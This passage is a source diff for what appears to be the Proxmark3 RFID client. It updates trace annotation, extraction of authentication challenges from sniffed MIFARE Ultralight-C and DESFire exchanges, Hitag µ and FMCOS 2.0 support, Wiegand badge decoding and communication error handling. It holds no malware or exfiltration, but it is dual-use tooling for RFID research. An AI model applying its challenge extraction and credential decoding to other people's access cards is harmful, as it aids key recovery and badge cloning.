PrintAndLogEx(INFO, "MFU-C AUTH"); + PrintAndLogEx(INFO, "Found a MFU-C authententication attempt"); PrintAndLogEx(INFO, "3DES %s " NOLF, sprint_hex_inrow(next_hdr->frame + 1, 8)); next_hdr = (tracelog_hdr_t *)(trace + tracepos); @@ -203,6 +208,8 @@ static uint16_t extractChallenges(uint16_t tracepos, uint16_t traceLen, uint8_t if (next_hdr->frame[0] == MIFARE_ULC_AUTH_2 && next_hdr->data_len == 19) { PrintAndLogEx(NORMAL, "%s", sprint_hex_inrow(next_hdr->frame + 1, 16)); + } else { + PrintAndLogEx(NORMAL, "( " _RED_("partial") " )"); } return tracepos; @@ -323,7 +330,7 @@ static uint16_t extractChallenges(uint16_t tracepos, uint16_t traceLen, uint8_t case MFDES_AUTHENTICATE: { // Assume wrapped or unwrapped - PrintAndLogEx(INFO, "AUTH NATIVE (keyNo %d)", frame[pos + long_jmp]); + PrintAndLogEx(INFO, "Found a MFDES Auth NATIVE (keyNo %d)", frame[pos + long_jmp]); if (next_record_is_response(tracepos, trace) == false) { break; } @@ -348,7 +355,7 @@ static uint16_t extractChallenges(uint16_t tracepos, uint16_t traceLen, uint8_t } case MFDES_AUTHENTICATE_ISO: { // Assume wrapped or unwrapped - PrintAndLogEx(INFO, "AUTH ISO (keyNo %d)", frame[pos + long_jmp]); + PrintAndLogEx(INFO, "Found a MFDES Auth ISO (keyNo %d)", frame[pos + long_jmp]); if (next_record_is_response(tracepos, trace) == false) { break; } @@ -379,7 +386,7 @@ static uint16_t extractChallenges(uint16_t tracepos, uint16_t traceLen, uint8_t } case MFDES_AUTHENTICATE_AES: { // Assume wrapped or unwrapped - PrintAndLogEx(INFO, "AUTH AES (keyNo %d)", frame[pos + long_jmp]); + PrintAndLogEx(INFO, "Found a MFDES Auth AES (keyNo %d)", frame[pos + long_jmp]); if (next_record_is_response(tracepos, trace)) { break; } @@ -403,7 +410,7 @@ static uint16_t extractChallenges(uint16_t tracepos, uint16_t traceLen, uint8_t return tracepos; } case MFDES_AUTHENTICATE_EV2F: { - PrintAndLogEx(INFO, "AUTH EV2 First"); + PrintAndLogEx(INFO, "Found a MFDES Auth EV2 First"); uint16_t tmp = extractChall_ev2(tracepos, trace, pos, long_jmp); if (tmp == 0) break; @@ -412,7 +419,7 @@ static uint16_t extractChallenges(uint16_t tracepos, uint16_t traceLen, uint8_t } case MFDES_AUTHENTICATE_EV2NF: { - PrintAndLogEx(INFO, "AUTH EV2 Non First"); + PrintAndLogEx(INFO, "Found a MFDES Auth EV2 Non First"); uint16_t tmp = extractChall_ev2(tracepos, trace, pos, long_jmp); if (tmp == 0) break; @@ -556,9 +563,11 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr case ISO_14443A: case MFDES: case LTO: - case SEOS: crcStatus = iso14443A_CRC_check(hdr->isResponse, frame, data_len); break; + case SEOS: + crcStatus = seos_CRC_check(hdr->isResponse, frame, data_len); + break; case ISO_7816_4: crcStatus = iso14443A_CRC_check(hdr->isResponse, frame, data_len) == 1 ? 3 : 0; crcStatus = iso14443B_CRC_check(frame, data_len) == 1 ? 4 : crcStatus; @@ -578,8 +587,12 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr case PROTO_HITAG1: case PROTO_HITAGS: crcStatus = hitag1_CRC_check(frame, (data_len * 8) - ((8 - parityBytes[0]) % 8)); - case PROTO_CRYPTORF: + break; + case PROTO_HITAGU: + crcStatus = hitagu_CRC_check(frame, (data_len * 8) - ((8 - parityBytes[0]) % 8)); + break; case PROTO_HITAG2: + case PROTO_CRYPTORF: default: break; } @@ -617,6 +630,7 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr && protocol != PROTO_HITAG1 && protocol != PROTO_HITAG2 && protocol != PROTO_HITAGS + && protocol != PROTO_HITAGU && protocol != THINFILM && protocol != FELICA && protocol != LTO @@ -624,7 +638,7 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr && (hdr->isResponse || protocol == ISO_14443A || protocol == PROTO_MIFARE || protocol == PROTO_MFPLUS || protocol == SEOS) && (oddparity8(frame[j]) != ((parityBits >> (7 - (j & 0x0007))) & 0x01))) { - snprintf(line[j / 18] + ((j % 18) * 4), 120, "%02x! ", frame[j]); + snprintf(line[j / 18] + ((j % 18) * 4), 120, "%02X! ", frame[j]); } else if (protocol == ICLASS && hdr->isResponse == false) { @@ -634,12 +648,12 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr } if (parity == ((frame[0] >> 7) & 1)) { - snprintf(line[j / 18] + ((j % 18) * 4), 120, "%02x ", frame[j]); + snprintf(line[j / 18] + ((j % 18) * 4), 120, "%02X ", frame[j]); } else { - snprintf(line[j / 18] + ((j % 18) * 4), 120, "%02x! ", frame[j]); + snprintf(line[j / 18] + ((j % 18) * 4), 120, "%02X! ", frame[j]); } - } else if (((protocol == PROTO_HITAG1) || (protocol == PROTO_HITAG2) || (protocol == PROTO_HITAGS))) { + } else if (((protocol == PROTO_HITAG1) || (protocol == PROTO_HITAG2) || (protocol == PROTO_HITAGS) || (protocol == PROTO_HITAGU))) { if (j == 0) { @@ -648,7 +662,7 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr uint8_t nbits = parityBytes[0]; // only apply this to lesser than one byte - if (data_len == 1) { + if (data_len == 1 && nbits != 0) { snprintf(line[0], 120, "%2u: %02X ", nbits, frame[0] >> (8 - nbits)); @@ -779,6 +793,7 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr switch (protocol) { case ISO_14443A: case ISO_7816_4: + case PROTO_FMCOS20: annotateIso14443a(explanation, sizeof(explanation), frame, data_len, hdr->isResponse); break; case PROTO_MIFARE: @@ -792,11 +807,17 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr annotateHitag2(explanation, sizeof(explanation), frame, data_len, parityBytes[0], hdr->isResponse, mfDicKeys, mfDicKeysCount, false); break; case PROTO_HITAGS: - annotateHitagS(explanation, sizeof(explanation), frame, data_len, hdr->isResponse); + annotateHitagS(explanation, sizeof(explanation), frame, (data_len * 8) - ((8 - parityBytes[0]) % 8), hdr->isResponse); + break; + case PROTO_HITAGU: + annotateHitagU(explanation, sizeof(explanation), frame, data_len, hdr->isResponse); break; case ICLASS: annotateIclass(explanation, sizeof(explanation), frame, data_len, hdr->isResponse); break; + case SEOS: + annotateSeos(explanation, sizeof(explanation), frame, data_len, hdr->isResponse); + break; default: break; } @@ -819,7 +840,7 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr annotateTopaz(explanation, sizeof(explanation), frame, data_len); break; case ISO_7816_4: - annotateIso7816(explanation, sizeof(explanation), frame, data_len); + annotateIso7816(explanation, sizeof(explanation), frame, data_len, hdr->isResponse); break; case ISO_15693: annotateIso15693(explanation, sizeof(explanation), frame, data_len); @@ -833,8 +854,8 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr case PROTO_CRYPTORF: annotateCryptoRF(explanation, sizeof(explanation), frame, data_len); break; - case SEOS: - annotateSeos(explanation, sizeof(explanation), frame, data_len); + case PROTO_FMCOS20: + annotateFMCOS20(explanation, sizeof(explanation), frame, data_len); break; default: break; @@ -1049,13 +1070,13 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr } if (use_us) { - PrintAndLogEx(NORMAL, " %10.1f | %10.1f | %s |fdt (Frame Delay Time): " _YELLOW_("%.1f"), + PrintAndLogEx(NORMAL, " %10.1f | %10.1f | %s |Frame Delay Time " _CYAN_("%.1f"), (float)time1 / 13.56, (float)time2 / 13.56, " ", (float)(next_hdr->timestamp - end_of_transmission_timestamp) / 13.56); } else { - PrintAndLogEx(NORMAL, " %10u | %10u | %s |fdt (Frame Delay Time): " _YELLOW_("%d"), + PrintAndLogEx(NORMAL, " %10u | %10u | %s |Frame Delay Time " _CYAN_("%d"), time1, time2, " ", @@ -1082,7 +1103,7 @@ static int download_trace(void) { gs_trace = calloc(PM3_CMD_DATA_SIZE, sizeof(uint8_t)); if (gs_trace == NULL) { - PrintAndLogEx(FAILED, "Cannot allocate memory for trace"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -1091,7 +1112,7 @@ static int download_trace(void) { // Query for the size of the trace, downloading PM3_CMD_DATA_SIZE PacketResponseNG resp; if (!GetFromDevice(BIG_BUF, gs_trace, PM3_CMD_DATA_SIZE, 0, NULL, 0, &resp, 4000, true)) { - PrintAndLogEx(WARNING, "timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); free(gs_trace); gs_trace = NULL; return PM3_ETIMEOUT; @@ -1105,7 +1126,7 @@ static int download_trace(void) { free(gs_trace); gs_trace = calloc(gs_traceLen, sizeof(uint8_t)); if (gs_trace == NULL) { - PrintAndLogEx(FAILED, "Cannot allocate memory for trace"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -1210,7 +1231,7 @@ static int CmdTraceLoad(const char *Cmd) { gs_traceLen = (long)len; PrintAndLogEx(SUCCESS, "Recorded Activity (TraceLen = " _YELLOW_("%u") " bytes)", gs_traceLen); - PrintAndLogEx(HINT, "try " _YELLOW_("`trace list -1 -t ...`") " to view trace. Remember the " _YELLOW_("`-1`") " param"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("trace list -1 -t ...") "` to view trace. Remember the " _YELLOW_("`-1`") " param"); return PM3_SUCCESS; } @@ -1296,12 +1317,13 @@ int CmdTraceList(const char *Cmd) { "trace list -t 14b -> interpret as " _YELLOW_("ISO14443-B") "\n" "trace list -t 15 -> interpret as " _YELLOW_("ISO15693") "\n" "trace list -t 7816 -> interpret as " _YELLOW_("ISO7816-4") "\n" - "trace list -t cryptorf -> interpret as " _YELLOW_("CryptoRF") "\n\n" + "trace list -t cryptorf -> interpret as " _YELLOW_("CryptoRF") "\n" "trace list -t des -> interpret as " _YELLOW_("MIFARE DESFire") "\n" "trace list -t felica -> interpret as " _YELLOW_("ISO18092 / FeliCa") "\n" - "trace list -t hitag1 -> interpret as " _YELLOW_("Hitag1") "\n" - "trace list -t hitag2 -> interpret as " _YELLOW_("Hitag2") "\n" - "trace list -t hitags -> interpret as " _YELLOW_("HitagS") "\n" + "trace list -t ht1 -> interpret as " _YELLOW_("Hitag 1") "\n" + "trace list -t ht2 -> interpret as " _YELLOW_("Hitag 2") "\n" + "trace list -t hts -> interpret as " _YELLOW_("Hitag S") "\n" + "trace list -t htu -> interpret as " _YELLOW_("Hitag µ") "\n" "trace list -t iclass -> interpret as " _YELLOW_("iCLASS") "\n" "trace list -t legic -> interpret as " _YELLOW_("LEGIC") "\n" "trace list -t lto -> interpret as " _YELLOW_("LTO-CM") "\n" @@ -1310,6 +1332,7 @@ int CmdTraceList(const char *Cmd) { "trace list -t thinfilm -> interpret as " _YELLOW_("Thinfilm") "\n" "trace list -t topaz -> interpret as " _YELLOW_("Topaz") "\n" "trace list -t mfp -> interpret as " _YELLOW_("MIFARE Plus") "\n" + "trace list -t fmcos20 -> interpret as " _YELLOW_("FMCOS 2.0") "\n" "\n" "trace list -t mf -f mfc_default_keys.dic -> use default dictionary file\n" "trace list -t 14a --frame -> show frame delay times\n" @@ -1325,7 +1348,7 @@ int CmdTraceList(const char *Cmd) { arg_lit0("u", NULL, "display times in microseconds instead of clock cycles"), arg_lit0("x", NULL, "show hexdump to convert to pcap(ng)\n" " or to import into Wireshark using encapsulation type \"ISO 14443\""), - arg_str0("t", "type", NULL, "protocol to annotate the trace"), + arg_str0("t", "type", "", "protocol to annotate the trace"), arg_str0("f", "file", "", "filename of dictionary"), arg_param_end }; @@ -1365,9 +1388,10 @@ int CmdTraceList(const char *Cmd) { else if (strcmp(type, "cryptorf") == 0) protocol = PROTO_CRYPTORF; else if (strcmp(type, "des") == 0) protocol = MFDES; else if (strcmp(type, "felica") == 0) protocol = FELICA; - else if (strcmp(type, "hitag1") == 0) protocol = PROTO_HITAG1; - else if (strcmp(type, "hitag2") == 0) protocol = PROTO_HITAG2; - else if (strcmp(type, "hitags") == 0) protocol = PROTO_HITAGS; + else if (strcmp(type, "ht1") == 0) protocol = PROTO_HITAG1; + else if (strcmp(type, "ht2") == 0) protocol = PROTO_HITAG2; + else if (strcmp(type, "hts") == 0) protocol = PROTO_HITAGS; + else if (strcmp(type, "htu") == 0) protocol = PROTO_HITAGU; else if (strcmp(type, "iclass") == 0) protocol = ICLASS; else if (strcmp(type, "legic") == 0) protocol = LEGIC; else if (strcmp(type, "lto") == 0) protocol = LTO; @@ -1377,6 +1401,7 @@ int CmdTraceList(const char *Cmd) { else if (strcmp(type, "thinfilm") == 0) protocol = THINFILM; else if (strcmp(type, "topaz") == 0) protocol = TOPAZ; else if (strcmp(type, "mfp") == 0) protocol = PROTO_MFPLUS; + else if (strcmp(type, "fmcos20") == 0) protocol = PROTO_FMCOS20; else if (strcmp(type, "") == 0) protocol = -1; else { PrintAndLogEx(FAILED, "Unknown protocol \"%s\"", type); @@ -1456,8 +1481,12 @@ int CmdTraceList(const char *Cmd) { if (protocol == ISO_7816_4) PrintAndLogEx(INFO, _YELLOW_("ISO7816-4 / Smartcard") " - Timings n/a"); - if (protocol == PROTO_HITAG1 || protocol == PROTO_HITAG2 || protocol == PROTO_HITAGS) { - PrintAndLogEx(INFO, _YELLOW_("Hitag1 / Hitag2 / HitagS") " - Timings in ETU (8us)"); + if (protocol == PROTO_HITAG1 || protocol == PROTO_HITAG2 || protocol == PROTO_HITAGS || protocol == PROTO_HITAGU) { + PrintAndLogEx(INFO, _YELLOW_("Hitag 1 / Hitag 2 / Hitag S / Hitag µ") " - Timings in ETU (8us)"); + } + + if (protocol == PROTO_FMCOS20) { + PrintAndLogEx(INFO, _YELLOW_("FMCOS 2.0 / CPU Card") " - Timings n/a"); } if (protocol == FELICA) { @@ -1534,7 +1563,7 @@ int CmdTraceList(const char *Cmd) { } // reset hitag state machine - if (protocol == PROTO_HITAG1 || protocol == PROTO_HITAG2 || protocol == PROTO_HITAGS) { + if (protocol == PROTO_HITAG1 || protocol == PROTO_HITAG2 || protocol == PROTO_HITAGS || protocol == PROTO_HITAGU) { annotateHitag2_init(); } @@ -1548,6 +1577,7 @@ int CmdTraceList(const char *Cmd) { tracepos = printTraceLine(tracepos, gs_traceLen, gs_trace, protocol, show_wait_cycles, mark_crc, prev_EOT, use_us, dicKeys, dicKeysCount); if (kbd_enter_pressed()) { + PrintAndLogEx(INFO, "User interrupted detected. Aborting"); break; } } @@ -1558,7 +1588,7 @@ int CmdTraceList(const char *Cmd) { } if (show_hex) { - PrintAndLogEx(HINT, "syntax to use: " _YELLOW_("`text2pcap -t \"%%S.\" -l 264 -n `")); + PrintAndLogEx(HINT, "Hint: Syntax to use: `" _YELLOW_("text2pcap -t \"%%S.\" -l 264 -n ") "`"); } return PM3_SUCCESS; diff --git a/client/src/cmdusart.c b/client/src/cmdusart.c index c5fee5599..b3e2bdc5d 100644 --- a/client/src/cmdusart.c +++ b/client/src/cmdusart.c @@ -35,7 +35,7 @@ static int usart_tx(uint8_t *data, size_t len) { clearCommandBuffer(); SendCommandNG(CMD_USART_TX, data, len); PacketResponseNG resp; - if (!WaitForResponseTimeout(CMD_USART_TX, &resp, 1000)) { + if (WaitForResponseTimeout(CMD_USART_TX, &resp, 1000) == false) { return PM3_ETIMEOUT; } return resp.status; @@ -49,7 +49,7 @@ static int usart_rx(uint8_t *data, size_t *len, uint32_t waittime) { payload.waittime = waittime; SendCommandNG(CMD_USART_RX, (uint8_t *)&payload, sizeof(payload)); PacketResponseNG resp; - if (!WaitForResponseTimeout(CMD_USART_RX, &resp, waittime + 500)) { + if (WaitForResponseTimeout(CMD_USART_RX, &resp, waittime + 500) == false) { return PM3_ETIMEOUT; } if (resp.status == PM3_SUCCESS) { @@ -99,7 +99,7 @@ static int set_usart_config(uint32_t baudrate, uint8_t parity) { payload.parity = parity; SendCommandNG(CMD_USART_CONFIG, (uint8_t *)&payload, sizeof(payload)); PacketResponseNG resp; - if (!WaitForResponseTimeout(CMD_USART_CONFIG, &resp, 1000)) { + if (WaitForResponseTimeout(CMD_USART_CONFIG, &resp, 1000) == false) { return PM3_ETIMEOUT; } return resp.status; @@ -483,7 +483,7 @@ static int CmdUsartTX(const char *Cmd) { void *argtable[] = { arg_param_begin, - arg_str1("d", "data", NULL, "string to send"), + arg_str1("d", "data", "", "string to send"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -568,7 +568,7 @@ static int CmdUsartTXRX(const char *Cmd) { void *argtable[] = { arg_param_begin, arg_u64_0("t", "timeout", "", "timeout in ms, default is 1000 ms"), - arg_str1("d", "data", NULL, "string to send"), + arg_str1("d", "data", "", "string to send"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); diff --git a/client/src/cmdwiegand.c b/client/src/cmdwiegand.c index 9fc06b6f9..c2d6bb3b1 100644 --- a/client/src/cmdwiegand.c +++ b/client/src/cmdwiegand.c @@ -33,6 +33,46 @@ static int CmdHelp(const char *Cmd); +#define PACS_EXTRA_LONG_FORMAT 18 // 144 bits +#define PACS_LONG_FORMAT 12 // 96 bits +#define PACS_FORMAT 6 // 44 bits +static int wiegand_new_pacs(uint8_t *padded_pacs, uint8_t plen) { + + uint8_t d[PACS_EXTRA_LONG_FORMAT] = {0}; + memcpy(d, padded_pacs, plen); + + uint8_t pad = d[0]; + + char *binstr = (char *)calloc((PACS_EXTRA_LONG_FORMAT * 8) + 1, sizeof(uint8_t)); + if (binstr == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } + + uint8_t n = plen - 1; + + bytes_2_binstr(binstr, d + 1, n); + + binstr[strlen(binstr) - pad] = '\0'; + + size_t tlen = 0; + uint8_t tmp[16] = {0}; + binstr_2_bytes(tmp, &tlen, binstr); + PrintAndLogEx(SUCCESS, "Wiegand raw.... " _YELLOW_("%s"), sprint_hex_inrow(tmp, tlen)); + + uint32_t top = 0, mid = 0, bot = 0; + if (binstring_to_u96(&top, &mid, &bot, binstr) != strlen(binstr)) { + PrintAndLogEx(ERR, "Binary string contains none <0|1> chars"); + free(binstr); + return PM3_EINVARG; + } + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "------------------------- " _CYAN_("SIO - Wiegand") " ---------------------------"); + decode_wiegand(top, mid, bot, strlen(binstr)); + free(binstr); + return PM3_SUCCESS; +} int CmdWiegandList(const char *Cmd) { CLIParserContext *ctx; @@ -116,16 +156,18 @@ int CmdWiegandDecode(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "wiegand decode", "Decode raw hex or binary to wiegand format", - "wiegand decode --raw 2006f623ae" + "wiegand decode --raw 2006F623AE\n" + "wiegand decode --new 06BD88EB80 -> 4..8 bytes, new padded format " ); void *argtable[] = { arg_param_begin, arg_str0("r", "raw", "", "raw hex to be decoded"), arg_str0("b", "bin", "", "binary string to be decoded"), + arg_str0("n", "new", "", "new padded pacs as raw hex to be decoded"), arg_param_end }; - CLIExecWithReturn(ctx, Cmd, argtable, true); + CLIExecWithReturn(ctx, Cmd, argtable, false); int hlen = 0; char hex[40] = {0}; CLIParamStrToBuf(arg_get_str(ctx, 1), (uint8_t *)hex, sizeof(hex), &hlen); @@ -133,6 +175,11 @@ int CmdWiegandDecode(const char *Cmd) { int blen = 0; uint8_t binarr[100] = {0x00}; int res = CLIParamBinToBuf(arg_get_str(ctx, 2), binarr, sizeof(binarr), &blen); + + int plen = 0; + uint8_t phex[8] = {0}; + res = CLIParamHexToBuf(arg_get_str(ctx, 3), phex, sizeof(phex), &plen); + CLIParserFree(ctx); if (res) { @@ -154,14 +201,21 @@ int CmdWiegandDecode(const char *Cmd) { PrintAndLogEx(ERR, "Binary string contains none <0|1> chars"); return PM3_EINVARG; } - PrintAndLogEx(INFO, "Input bin len... %d", blen); + PrintAndLogEx(INFO, "#bits... %d", blen); + + } else if (plen) { + + return wiegand_new_pacs(phex, plen); + } else { PrintAndLogEx(ERR, "Empty input"); return PM3_EINVARG; } - wiegand_message_t packed = initialize_message_object(top, mid, bot, blen); - HIDTryUnpack(&packed); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "------------------------- " _CYAN_("Wiegand") " ---------------------------"); + + decode_wiegand(top, mid, bot, blen); return PM3_SUCCESS; } diff --git a/client/src/comms.c b/client/src/comms.c index 21e63402c..2ded55ebc 100644 --- a/client/src/comms.c +++ b/client/src/comms.c @@ -88,13 +88,23 @@ void SendCommandBL(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, vo } void SendCommandOLD(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, const void *data, size_t len) { + PacketCommandOLD c = {CMD_UNKNOWN, {0, 0, 0}, {{0}}}; + + if (len > PM3_CMD_DATA_SIZE) { + PrintAndLogEx(WARNING, "Sending " _RED_("%zu") " bytes of payload is too much for OLD frames, abort", len); + return; + // return PM3_EOUTOFBOUND; + } + c.cmd = cmd; c.arg[0] = arg0; c.arg[1] = arg1; c.arg[2] = arg2; - if (len && data) + if (len && data) { memcpy(&c.d, data, len); + } + #ifdef COMMS_DEBUG PrintAndLogEx(NORMAL, "Sending %s", "OLD"); @@ -105,7 +115,7 @@ void SendCommandOLD(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, c print_hex_break((uint8_t *)&c.d, sizeof(c.d), 32); #endif - if (!g_session.pm3_present) { + if (g_session.pm3_present == false) { PrintAndLogEx(WARNING, "Sending bytes to Proxmark3 failed ( " _RED_("offline") " )"); return; } @@ -141,7 +151,7 @@ static void SendCommandNG_internal(uint16_t cmd, uint8_t *data, size_t len, bool return; } if (len > PM3_CMD_DATA_SIZE) { - PrintAndLogEx(WARNING, "Sending %zu bytes of payload is too much, abort", len); + PrintAndLogEx(WARNING, "Sending " _RED_("%zu") " bytes of payload is too much, abort", len); return; } @@ -202,7 +212,7 @@ void SendCommandNG(uint16_t cmd, uint8_t *data, size_t len) { void SendCommandMIX(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, const void *data, size_t len) { uint64_t arg[3] = {arg0, arg1, arg2}; if (len > PM3_CMD_DATA_SIZE_MIX) { - PrintAndLogEx(WARNING, "Sending %zu bytes of payload is too much for MIX frames, abort", len); + PrintAndLogEx(WARNING, "Sending " _RED_("%zu") " bytes of payload is too much for MIX frames, abort", len); return; } uint8_t cmddata[PM3_CMD_DATA_SIZE]; @@ -481,6 +491,7 @@ __attribute__((force_align_arg_pointer)) uint16_t length = rx_raw.pre.length; rx.ng = rx_raw.pre.ng; rx.status = rx_raw.pre.status; + rx.reason = rx_raw.pre.reason; rx.cmd = rx_raw.pre.cmd; if (rx.magic == RESPONSENG_PREAMBLE_MAGIC) { // New style NG reply @@ -759,6 +770,12 @@ bool OpenProxmarkSilent(pm3_device_t **dev, const char *port, uint32_t speed) { fflush(stdout); if (*dev == NULL) { *dev = calloc(sizeof(pm3_device_t), sizeof(uint8_t)); + if (*dev == NULL) { + PrintAndLogEx(ERR, "Failed to allocate memory for pm3_device_t"); + uart_close(sp); + sp = NULL; + return false; + } } (*dev)->g_conn = &g_conn; // TODO g_conn shouldn't be global return true; @@ -786,12 +803,12 @@ bool OpenProxmark(pm3_device_t **dev, const char *port, bool wait_for_port, int // check result of uart opening if (sp == INVALID_SERIAL_PORT) { PrintAndLogEx(WARNING, "\n" _RED_("ERROR:") " invalid serial port " _YELLOW_("%s"), port); - PrintAndLogEx(HINT, "Try the shell script " _YELLOW_("`./pm3 --list`") " to get a list of possible serial ports"); + PrintAndLogEx(HINT, "Hint: Try the shell script `" _YELLOW_("`./pm3 --list") "` to get a list of possible serial ports"); sp = NULL; return false; } else if (sp == CLAIMED_SERIAL_PORT) { PrintAndLogEx(WARNING, "\n" _RED_("ERROR:") " serial port " _YELLOW_("%s") " is claimed by another process", port); - PrintAndLogEx(HINT, "Try the shell script " _YELLOW_("`./pm3 --list`") " to get a list of possible serial ports"); + PrintAndLogEx(HINT, "Hint: Try the shell script `" _YELLOW_("./pm3 --list") "` to get a list of possible serial ports"); sp = NULL; return false; @@ -816,7 +833,13 @@ bool OpenProxmark(pm3_device_t **dev, const char *port, bool wait_for_port, int fflush(stdout); if (*dev == NULL) { - *dev = calloc(sizeof(pm3_device_t), sizeof(uint8_t)); + *dev = calloc(1, sizeof(pm3_device_t)); + if (*dev == NULL) { + PrintAndLogEx(ERR, "Failed to allocate memory for pm3_device_t"); + uart_close(sp); + sp = NULL; + return false; + } } (*dev)->g_conn = &g_conn; // TODO g_conn shouldn't be global return true; @@ -848,7 +871,7 @@ int TestProxmark(pm3_device_t *dev) { #endif PacketResponseNG resp; - if (WaitForResponseTimeoutW(CMD_PING, &resp, timeout, false) == 0) { + if (WaitForResponseTimeoutW(CMD_PING, &resp, timeout, false) == false) { return PM3_ETIMEOUT; } @@ -858,7 +881,7 @@ int TestProxmark(pm3_device_t *dev) { } SendCommandNG(CMD_CAPABILITIES, NULL, 0); - if (WaitForResponseTimeoutW(CMD_CAPABILITIES, &resp, 1000, false) == 0) { + if (WaitForResponseTimeoutW(CMD_CAPABILITIES, &resp, 1000, false) == false) { return PM3_ETIMEOUT; } @@ -1030,26 +1053,18 @@ size_t WaitForRawDataTimeout(uint8_t *buffer, size_t len, size_t ms_timeout, boo */ bool WaitForResponseTimeoutW(uint32_t cmd, PacketResponseNG *response, size_t ms_timeout, bool show_warning) { - PacketResponseNG resp; // init to ZERO - resp.cmd = 0, - resp.length = 0, - resp.magic = 0, - resp.status = 0, - resp.crc = 0, - resp.ng = false, - resp.oldarg[0] = 0; - resp.oldarg[1] = 0; - resp.oldarg[2] = 0; - memset(resp.data.asBytes, 0, PM3_CMD_DATA_SIZE); + PacketResponseNG resp; + memset(&resp, 0, sizeof(resp)); if (response == NULL) { response = &resp; } // Add delay depending on the communication channel & speed - if (ms_timeout != (size_t) - 1) + if (ms_timeout != (size_t) - 1) { ms_timeout += communication_delay(); + } __atomic_store_n(&timeout_start_time, msclock(), __ATOMIC_SEQ_CST); @@ -1062,6 +1077,7 @@ bool WaitForResponseTimeoutW(uint32_t cmd, PacketResponseNG *response, size_t ms } while (getReply(response)) { + if (cmd == CMD_UNKNOWN || response->cmd == cmd) { return true; } @@ -1116,24 +1132,17 @@ bool WaitForResponse(uint32_t cmd, PacketResponseNG *response) { */ bool GetFromDevice(DeviceMemType_t memtype, uint8_t *dest, uint32_t bytes, uint32_t start_index, uint8_t *data, uint32_t datalen, PacketResponseNG *response, size_t ms_timeout, bool show_warning) { - if (dest == NULL) return false; - - PacketResponseNG resp; - if (response == NULL) { - response = &resp; + if (dest == NULL) { + return false; } // init to ZERO - resp.cmd = 0, - resp.length = 0, - resp.magic = 0, - resp.status = 0, - resp.crc = 0, - resp.ng = false, - resp.oldarg[0] = 0; - resp.oldarg[1] = 0; - resp.oldarg[2] = 0; - memset(resp.data.asBytes, 0, PM3_CMD_DATA_SIZE); + PacketResponseNG resp; + memset(&resp, 0, sizeof(resp)); + + if (response == NULL) { + response = &resp; + } if (bytes == 0) return true; diff --git a/client/src/crypto/asn1dump.c b/client/src/crypto/asn1dump.c index 32dc8f051..ba6ad1f2b 100644 --- a/client/src/crypto/asn1dump.c +++ b/client/src/crypto/asn1dump.c @@ -364,7 +364,7 @@ static void asn1_tag_dump_object_id(const struct tlv *tlv, const struct asn1_tag bool asn1_tag_dump(const struct tlv *tlv, int level, bool *candump) { if (tlv == NULL) { - PrintAndLogEx(FAILED, "NULL\n"); + PrintAndLogEx(WARNING, "tlv is NULL\n"); return false; } diff --git a/client/src/crypto/asn1utils.c b/client/src/crypto/asn1utils.c index 1fa839a7f..5b73bf6ef 100644 --- a/client/src/crypto/asn1utils.c +++ b/client/src/crypto/asn1utils.c @@ -36,6 +36,7 @@ int ecdsa_asn1_get_signature(uint8_t *signature, size_t signaturelen, uint8_t *r uint8_t *p = calloc(sizeof(uint8_t), signaturelen); if (p == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -107,6 +108,37 @@ int asn1_print(uint8_t *asn1buf, size_t asn1buflen, const char *indent) { return PM3_SUCCESS; } +int asn1_get_tag_length(const uint8_t *data, size_t *n, size_t *offset, size_t total_length) { + + if (*offset >= total_length) { + return -1; + } + + if (data[*offset] & 0x80) { + + // Long form: number of length bytes is indicated by the lower 7 bits + size_t len_bytes = data[*offset] & 0x7F; + + *offset += 1; + + if (*offset + len_bytes > total_length) { + return -1; + } + + *n = 0; + for (size_t i = 0; i < len_bytes; i++) { + *n = (*n << 8) | data[*offset]; + *offset += 1; + } + } else { + // Short form: length is directly represented + *n = data[*offset]; + *offset += 1; + } + + return 0; +} + typedef struct { const char *hex; @@ -222,6 +254,7 @@ int asn1_selftest(void) { uint8_t *d = calloc(n, sizeof(uint8_t)); if (d == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } int len = 0; diff --git a/client/src/crypto/asn1utils.h b/client/src/crypto/asn1utils.h index e55a2926f..57d443e6a 100644 --- a/client/src/crypto/asn1utils.h +++ b/client/src/crypto/asn1utils.h @@ -25,6 +25,8 @@ int asn1_print(uint8_t *asn1buf, size_t asn1buflen, const char *indent); int ecdsa_asn1_get_signature(uint8_t *signature, size_t signaturelen, uint8_t *rval, uint8_t *sval); + +int asn1_get_tag_length(const uint8_t *data, size_t *n, size_t *offset, size_t total_length); int asn1_selftest(void); #endif 